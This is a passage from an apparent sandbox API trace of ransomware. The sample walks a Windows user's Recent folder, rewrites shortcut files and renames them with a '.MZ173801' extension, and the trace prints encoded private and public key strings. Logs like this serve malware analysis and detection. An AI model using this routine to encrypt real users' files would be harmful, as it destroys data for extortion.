[0152.026] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x304 [0152.026] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.026] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x304, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x304, lpOverlapped=0x0) returned 1 [0152.026] CloseHandle (hObject=0x280) returned 1 [0152.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.028] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x304, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x304, lpOverlapped=0x0) returned 1 [0152.029] CloseHandle (hObject=0x280) returned 1 [0152.031] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk.mz173801")) returned 1 [0152.032] GetCurrentThreadId () returned 0xab4 [0152.032] GetCurrentThreadId () returned 0xab4 [0152.032] GetCurrentThreadId () returned 0xab4 [0152.032] GetCurrentThreadId () returned 0xab4 [0152.032] GetCurrentThreadId () returned 0xab4 [0152.032] GetCurrentThreadId () returned 0xab4 [0152.032] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e49e877, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5e49e877, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5e49e877, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="soIxhtWQvRHiZe.lnk", cAlternateFileName="SOIXHT~1.LNK")) returned 1 [0152.032] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.032] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soIxhtWQvRHiZe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\soixhtwqvrhize.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e49e877, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5e49e877, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5e49e877, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ce)) returned 1 [0152.032] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soIxhtWQvRHiZe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\soixhtwqvrhize.lnk")) returned 0x20 [0152.032] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soIxhtWQvRHiZe.lnk", dwFileAttributes=0x80) returned 1 [0152.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.036] GetCurrentThreadId () returned 0xab4 [0152.036] GetCurrentThreadId () returned 0xab4 [0152.036] GetCurrentThreadId () returned 0xab4 [0152.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.037] GetCurrentThreadId () returned 0xab4 [0152.037] GetCurrentThreadId () returned 0xab4 [0152.038] GetCurrentThreadId () returned 0xab4 [0152.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soIxhtWQvRHiZe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\soixhtwqvrhize.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.038] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.038] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.038] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3ce [0152.038] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.038] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3ce, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3ce, lpOverlapped=0x0) returned 1 [0152.039] CloseHandle (hObject=0x280) returned 1 [0152.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soIxhtWQvRHiZe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\soixhtwqvrhize.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.041] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3ce, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3ce, lpOverlapped=0x0) returned 1 [0152.042] CloseHandle (hObject=0x280) returned 1 [0152.047] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soIxhtWQvRHiZe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\soixhtwqvrhize.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soIxhtWQvRHiZe.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\soixhtwqvrhize.lnk.mz173801")) returned 1 [0152.048] GetCurrentThreadId () returned 0xab4 [0152.048] GetCurrentThreadId () returned 0xab4 [0152.048] GetCurrentThreadId () returned 0xab4 [0152.048] GetCurrentThreadId () returned 0xab4 [0152.048] GetCurrentThreadId () returned 0xab4 [0152.048] GetCurrentThreadId () returned 0xab4 [0152.048] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d231ab9, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4d231ab9, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4d2a40ec, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="sqorZLc30 FYq4TE ce9.lnk", cAlternateFileName="SQORZL~1.LNK")) returned 1 [0152.048] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.048] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.048] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sqorZLc30 FYq4TE ce9.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sqorzlc30 fyq4te ce9.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d231ab9, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4d231ab9, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4d2a40ec, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x443)) returned 1 [0152.048] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sqorZLc30 FYq4TE ce9.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sqorzlc30 fyq4te ce9.lnk")) returned 0x20 [0152.048] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sqorZLc30 FYq4TE ce9.lnk", dwFileAttributes=0x80) returned 1 [0152.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 